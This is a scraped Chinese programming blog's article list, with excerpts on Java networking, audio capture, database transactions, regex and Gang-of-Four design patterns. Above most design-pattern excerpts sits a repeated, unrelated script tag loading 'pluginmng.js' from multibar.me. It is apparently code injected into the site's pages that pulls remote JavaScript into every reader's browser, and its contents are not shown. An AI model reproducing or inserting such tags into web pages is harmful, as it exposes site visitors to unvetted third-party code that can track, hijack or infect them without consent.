`
文章列表
实现过程: 包括四个类:1,ChatClient:输入用户名,启动客户端子线程。2,ClientThread:根据用户名与服务端连接,接收服务端转发的消息并显示。 3,ChatServer:监听客户端请求,交给服务端子线程处理。4,ServerThread:处理客户端输入/输 ...
package record; import java.io.*; import java.awt.*; import java.awt.event.*; import javax.sound.sampled.*; public class RecordPlay extends Frame { boolean stopCapture = false ;          //控制录音标志 AudioFormat audioFormat ;             //录音格式 //读取数据: TargetDataLine -> ByteArrayOutputStream ...
       在多用户的数据库系统中,都有并发能力,一旦执行了并发,必然导致数据访问冲突。使用事务可以尽量避免并发访问时的冲突,使得数据库的并发访问和性能两方面取得均衡。         不同的厂商在事务处理上有差异,一下针对Oracle,对事务方面的有关自己的理解,进一步说明Hibernate对事务的处理。 1.事务         首先,事务是一系列操作组成的一个单元,要么全部完成,要么全部取消。从SQL编程的角度来说,其组成单元主要由对数据进行CRUD操作的SQL语句组成。Oracle数据库在默认情况下任何一个DML语句都会开始一个事务,知道执行commit或rollback操作, ...
命令(Command)模式属于对象的行为模式,把一个请求或者操作封装到一个对象中,允许系统使用不同的请求把客户端参数化,对请求排队或者记录到请求日志,可以提供命令的撤销和恢复功能。命令模式是对命令的封装,把发出的命令的责任和执行命令的责任分开,委派给不同的对象。 设计角色:          客户(Client)角色:创建一个具体命令对象并确定接收者。          命令(Command)角色:声明一个给所有具体命令的抽象接口。          具体命令(ConcreteCommand)角色:定义一个接受者和行为之间的弱耦合;实现execute()方法,负责调用接受者的相应操作。e ...
模板方法模式:类的行为模式。一个抽象类,将部分逻辑以具体方法以及具体构造的形式实现,然后声明一些抽象方法来迫使子类实现剩余的逻辑。不同的子类可以以不同的方式实现这些抽象方法,从而对剩余的逻辑有不同的实现。它包括轮廓和具体逻辑,轮廓即为模板方法,具体逻辑为基本方法。 模板方法:定义在抽象类中,把基本操作方法组合在一起形成一个总的行为,由子类不加修改地完全继承下来。一个抽象类 可以有多个模板方法,一个模板方法可以调用任意多个具体方法。 基本方法:分为抽象方法、具体方法、钩子方法;具体方法由抽象类声明并实现,有些能起到工厂方法的作用。钩子方法由抽象类声明并实现,而子类回加以扩展。通常抽象类给出的是 ...
/* * 转义字符 */ var reg = new RegExp("\(1\+2\)\*3"); document.write(reg.test("(1+2)*3") + " " + reg.test(1)); /* * 字符集合:匹配"多个字符"中任意一个字符的表达式 */ // 除换行符意外的任意一个字符 reg = new RegExp("."); document.write(reg.test("a") ...
  八:装饰模式       装饰 (Decorator) 模式 又叫包装 (Wrapper) 模式 ,它以对客户端透明的方式动态地扩展对象的功能,可以在不使用创造更多子类的情况下,将对象的功能加以扩展,是继承关系的一种替代。装饰模式使用原来被装饰类的一个子类的实例,把客户端的调用委派到被装饰类,其扩展是完全透明的。 涉及角色: 抽象构件 (Component) 角色:一个接口或者是抽象类,规范被装饰类,就是我们最核心、最原始的对象。在装饰模式中必然有一个被提取出来的最核心、最原始、最基本的接口或抽象类 具体构件 ( ...
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script> 七:合成 (Composite) 模式 合成模型模式属于对象的结构模式,有时又叫做部分 - 整体模式。合成模式将对象组织到树结构中,可以用来描述整体与部分的关系,也就是说,它把部分和整体的关系用树结构表示出来。合成模式可以使客户端将单纯元素与复合元素同等看待。 涉及角色: 抽象构件 (Component) 角色:一个抽象角色,它给参加组合的对 ...
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script> 六:适配器 (Adapter) 模式 把一个类的接口转换成客户端所期待的另一种接口,从而使得原本因为接口不匹配而无法在一起工作的两个类能够在一起工作。适配器模式有类的适配器模式和对象的适配器模式两种不同的形式。 (1)    类的适配器模式:把被适配的类的 API 转换成目标类的 API ,使用了继承 涉及的角色: 目标角 ...
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script> 五:建造模式 建造模式是对象的创建模式,将一个产品的内部表象与产品的生成过程分割开来,从而可以使一个建造过程生成具有不同的内部表象的对象,也可以使客户端不需要知道所生成的产品对象有哪些零件,每个产品的对应零件彼此有何不同,如何建造以及怎么组成的。有时候一个对象在其某些重要的属性没有恰当的值之前,不能使用,比如 email ;还有有时候一个对象的一些性质必须按照某 ...
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script> 四:单例模式 单例模式,特点是单例类只能有一个实例,自己创建自身唯一的实例,给所有其他对象提供这一实例。单例模式可以分为饿汉式、懒汉式和登记式。 首先饿汉式单例, package com.co.patterns.singleton; /** * 饿汉式单例 * * @author laotan * */ public clas ...
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>   三:抽象工厂模式   向客户端提供一个接口,使得客户端在不必指定产品的具体类型的情况下,创建多个产品族中的产品对象。“抽象”来自“抽象产品角色”, 而“抽象工厂”是抽象产品角色的工厂。该模式是针对多个产品等级结构的系统设计。而工厂方法模式则是针对单个产品等级结构的设计。   产品等级结构和产品族的相图如下: 角色: 抽象工 ...
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>   二:工厂方法模式 对于简单工厂模式,只是在一定程度上支持“开闭”原则,虽然引入新产品时无需修改客户端但是要修改工厂类,将必要的逻辑加入到工厂类中。此时引进工厂方法模式,使用了多态性,将具体的创建工作交给了工厂类的子类,而核心工厂类则变成了一个抽象工厂角色,仅负责给出具体工厂子类必须实现的接口,而不必接触哪一个产品类应当被实例化的细节。进一步抽象画的结果使得这种 ...
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script> <script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>       创建模式,是对类得实例化过程的抽象化,一些系统在创建对象时,要动态的决定怎么样创建、创建哪些以及如何组合和表示这些对象。创建模式分为类 ...
在javaSE5中,CyclicBarrier是一个同步辅助类,允许一组线程相互等待直到全部到达某个“屏障".它是循环的 用在你希望创建一组人物,它们并行地执行,在下一个步骤之前同时等待,直到之前所有的人物都完成,以保证它们可以一致的前进。 下面一个小例子:赛马仿真 package com.my.thread.concurrent; import java.util.*; import java.util.concurrent.*; /**CyclicBarrier可重置计数 * 赛马仿真 * @author laotan * */ public ...
Global site tag (gtag.js) - Google Analytics